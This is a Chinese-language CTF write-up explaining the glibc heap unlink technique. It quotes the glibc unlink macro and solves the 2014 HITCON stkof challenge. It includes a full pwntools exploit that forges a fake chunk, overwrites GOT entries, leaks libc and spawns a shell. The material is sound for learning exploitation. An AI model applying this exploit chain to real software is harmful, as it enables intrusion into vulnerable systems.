Unlink的学习与利用

  • 2019 年 10 月 6 日
  • 筆記

本文转载自 订阅号“安全初心”

原理

0x00 unlink是什么

unlink说的是linux系统在进行空闲堆块管理的时候,进行空闲堆块的合并操作。一般发生在程序进行堆块释放之后。

(图片来自ctf wiki)

其实操作就是(学过数据结构应该很好理解)

p->fd->bk = p->bk      p->bk->fd = p->fd

0x01 从源代码理解unlink

#define unlink(P, BK, FD) {          FD = P->fd;          BK = P->bk;          if (__builtin_expect (FD->bk != P || BK->fd != P, 0))            malloc_printerr (check_action, "corrupted double-linked list", P);   //这里有一个unlink的防护          else {              FD->bk = BK;        \进行了检查(核心代码)              BK->fd = FD;              if (!in_smallbin_range (P->size)                  && __builtin_expect (P->fd_nextsize != NULL, 0)) {                  assert (P->fd_nextsize->bk_nextsize == P);                  assert (P->bk_nextsize->fd_nextsize == P);                  if (FD->fd_nextsize == NULL) {                      if (P->fd_nextsize == P)                        FD->fd_nextsize = FD->bk_nextsize = FD;                      else {                          FD->fd_nextsize = P->fd_nextsize;                          FD->bk_nextsize = P->bk_nextsize;                          P->fd_nextsize->bk_nextsize = FD;                          P->bk_nextsize->fd_nextsize = FD;                        }                    } else {                      P->fd_nextsize->bk_nextsize = P->bk_nextsize;                      P->bk_nextsize->fd_nextsize = P->fd_nextsize;                    }                }            }      }

可以看出我们需要满足以下条件才能绕过检查

FD->bk = BK;      BK->fd = FD;

为了绕过检查,我们必须在全局变量区找到一个指向堆块的地方,若该指针为ptr

32位      FD = ptr-12      BK = ptr-8        64位      FD = ptr-0x18      BK = ptr-0x10

例题:2014 HITCON stkof

0x00 基本信息

$ file hitcon-14-stkof      hitcon-14-stkof: ELF 64-bit LSB  executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.32,      $ checksec hitcon-14-stkof          Arch:     amd64-64-little          RELRO:    Partial RELRO          Stack:    Canary found          NX:       NX enabled          PIE:      No PIE (0x400000)

程序为64位,开了NX和Canary保护

0x01 流程分析

  1. alloc (输入分配内存的大小size)
  2. read_in (往分配的内存中输入内容,允许写入任意长度,可造成堆溢出)
  3. free (释放内存块)
  4. useless (无用函数)

0x02 利用过程

  • 首先构造3个chunk:chunk1、chunk2、chunk3,
  • 利用漏洞溢出chunk2,使chunk2和chunk3合并,利用unlink
alloc(0x100)  # id 1      # begin      alloc(0x40)  # id 2      # small chunk size in order to trigger unlink      alloc(0x80)  # id 3      # a fake chunk at global[2]=head+16 who's size is 0x20      payload = p64(0)  #prev_size      payload += p64(0x40)  #current size      payload += p64(head + 16 - 0x18)  #fd +16因为这是bss段,第二个堆块      payload += p64(head + 16 - 0x10)  #bk      payload = payload.ljust(0x40, 'a')      # overwrite global[3]'s chunk's prev_size      # make it believe that prev chunk is at chunk2      payload += p64(0x40)      # make it believe that prev chunk is free      payload += p64(0x90)      edit(2, len(payload), payload)      # unlink fake chunk, so chunk[2] =&(chunk[2])-0x18=head-8      free(3)
  • 修改 chunk0 为 free@got 地址,同时修改chunk1为 puts@got 地址,chunk2 为 atoi@got 地址
  • free@got的值覆盖为puts@plt
payload = 'a' * 8 + p64(stkof.got['free']) + p64(stkof.got['puts']) + p64(stkof.got['atoi'])      edit(2, len(payload), payload)      payload = p64(stkof.plt['puts'])      edit(0, len(payload), payload)
  • leak出system地址,覆盖atoi@got
free(1)      puts_addr = p.recvuntil('nOKn', drop=True).ljust(8, 'x00')      puts_addr = u64(puts_addr)      puts_offset = puts_addr - libc.symbols['puts']      system_addr = puts_offset + libc.symbols['system']        payload = p64(system_addr)      edit(2, len(payload), payload)      p.send('/bin/sh')

0x03 exp

#!/usr/bin/python      # -*- coding: utf-8 -*-      from pwn import *        context.log_level = 'debug'      p = process("./hitcon-14-stkof")      stkof = ELF('hitcon-14-stkof')      libc = ELF('./libc.so.6')        head = 0x602140          def alloc(size):          p.sendline('1')          p.sendline(str(size))          p.recvuntil('OKn')          def edit(idx, size, content):          p.sendline('2')          p.sendline(str(idx))          p.sendline(str(size))          p.send(content)          p.recvuntil('OKn')          def free(idx):          p.sendline('3')          p.sendline(str(idx))          def pwn():          # small chunk size in order to trigger unlink          alloc(0x100) # id 1          alloc(0x40)  # id 2          alloc(0x80)  # id 3          # a fake chunk at chunk[2]=head+16 who's size is 0x40          payload = p64(0)  #prev_size          payload += p64(0x40)  #size          payload += p64(head + 16 - 0x18)  #fd          payload += p64(head + 16 - 0x10)  #bk          #payload += p64(0x20)  # next chunk's prev_size bypass the check          payload = payload.ljust(0x40, 'a')          # overwrite chunk[3]'s chunk's prev_size          # make it believe that prev chunk is at chunk[2]          payload += p64(0x40)          # make it believe that prev chunk is free          payload += p64(0x90)          edit(2, len(payload), payload)            # unlink fake chunk, so chunk[2] =&(chunk[2])-0x18=head-8          free(3)          p.recvuntil('OKn')            # overwrite chunk0 = free@got, chunk1=puts@got, chunk2=atoi@got          payload = 'a' * 8 + p64(stkof.got['free']) + p64(stkof.got['puts']) + p64(stkof.got['atoi'])              edit(2, len(payload), payload)          # edit free@got to puts@plt          payload = p64(stkof.plt['puts'])          edit(0, len(payload), payload)            free(1)            puts_addr = p.recvuntil('nOKn', drop=True).ljust(8, 'x00')          puts_addr = u64(puts_addr)            log.success('puts_addr: ' + hex(puts_addr))          puts_offset = puts_addr - libc.symbols['puts']          system_addr = puts_offset + libc.symbols['system']          log.success('put_offset: ' + hex(puts_offset))          log.success('system_addr: ' + hex(system_addr))            # turn atoi@got into system addr            payload = p64(system_addr)          edit(2, len(payload), payload)              #p.send('/bin/sh')          p.interactive()      pwn()

0x04 题外话

由于unlink原理资料很多,所以本文原理介绍篇幅有限。这个程序没什么输出,很难看,分析起来很耗时间。复现题目一定要多换换参数,方法。如果本文有什么错误或者您有什么疑惑,请联系我。

参考资料:

http://wonderkun.cc/index.html/?p=651

https://blog.csdn.net/qq_33528164/article/details/79586902

https://ctf-wiki.github.io/ctf-wiki/pwn/heap/unlink/#_3